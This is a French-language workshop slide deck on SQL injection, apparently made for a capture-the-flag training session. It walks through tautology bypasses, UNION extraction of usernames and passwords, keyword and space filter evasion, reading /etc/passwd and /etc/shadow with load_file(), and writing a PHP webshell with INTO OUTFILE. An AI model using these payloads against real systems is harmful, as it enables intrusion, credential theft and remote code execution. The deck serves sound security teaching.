Injections SQL

Ian Bouchard

Objectifs

- Détecter des cas d’injections SQL
- Voler des informations confidentielles
- Contourner des formulaires d’authentification
- Popper des shells! (Oui, vraiment…)

Comment ça marche?

```
SELECT id, contenu
FROM blog
WHERE id='$ma_variable'
```

http://mon_blog.com/blog.php?ma_variable=23

```
SELECT id, contenu
FROM blog
WHERE id='23'
```

$ma_variable = “23”

```
SELECT id, contenu
FROM blog
WHERE id='23'
```

id	contenu
23	*Allo, bienvenue sur mon site ...*

```
SELECT id, contenu
FROM blog
WHERE id='23' or 'x'='x'
```

$ma_variable = “23’ or ‘x’=’x”

```
SELECT id, contenu
FROM blog
WHERE id='23' or 'x'='x'
```

id	contenu
1	*Allo, voici mon premier message...*
10	*Sérieux, je sais pas comment tu fais pour voir ce message.*
14	*Are you a wizard?*
19	*Lorem Ipsum ...*
23	*Allo, bienvenue sur mon site...*

Défi #1

Recap : ‘ or ‘x’=’x

- Permet de contourner des formulaires d’authentification
- Permet de lister l’ensemble des données **d’une** table

Comment lister les données d'une autre table?

```
SELECT id, contenu
FROM blog
WHERE id='$ma_variable'
```

```
SELECT id, contenu
FROM blog
WHERE id='23'
UNION SELECT user,pass
FROM users
where 'x'='x'
```

```
SELECT id, contenu
FROM blog
WHERE id='23'
```

id	contenu
23	*Allo, bienvenue sur mon site...*

SELECT user, pass
FROM users
WHERE ‘x’=’x’

user	pass
corb3nik	*Qwerty123!*
admin	*(^AWDOS^*NA)SD*A)S(D)A*

SELECT id, contenu
FROM blog
WHERE id='23'

UNION

SELECT user, pass
FROM users
WHERE 'x'='x'

id	contenu
23	*Allo, bienvenue sur mon site...*
corb3nik	*Qwerty123!*
admin	*(^AWDOS^*NA)SD*A)S(D)A*

Défi #2

Recap : UNION

- Permet de contourner des formulaires d'authentification
- Permet de lister l'ensemble des données de **n'importe quelle** table.

Techniques de prévention inefficaces

Les pires techniques sur terre

1. Supprimer les mots clés dangereux
2. Interdire les mots clés dangereux
3. Interdire les espaces
4. Interdire les guillemets et les apostrophes

Défi #3-6

Recap : OORR

UNUNIONION
AANDND
...

- Contourner des filtres qui suppriment les mots-clés dangereux

Recap : UnIoN

oR
aNd
SelEcT
...

- Contourner des filtres qui interdisent les mots-clés dangereux sans être insensible à la casse.

Recap : /**/

- Contourner les filtres qui interdisent les espaces

Recap : \

- Permet d’échapper des guillemets et apostrophes afin d’injecter du code malicieux plus loin.

Lecture de fichier

Défi #7

load_file()

- Permet d’obtenir le contenu d’un fichier à l’intérieur d’une requête.

Fichiers interessants

- /etc/passwd
- /etc/shadow
- Fichiers de code source

Spawning Shells

Indice : OUTFILE

Défi #8

1. Contourner les mesures de prévention d'injection SQL
2. Créer un fichier PHP contenant un webshell via une requête SQL
3. Consulter votre page PHP
4. Obtenir le flag

Recap : INTO OUTFILE ‘my_file.php’

- Permet de créer des fichiers sur le système de fichier.

Time for Ringzer0!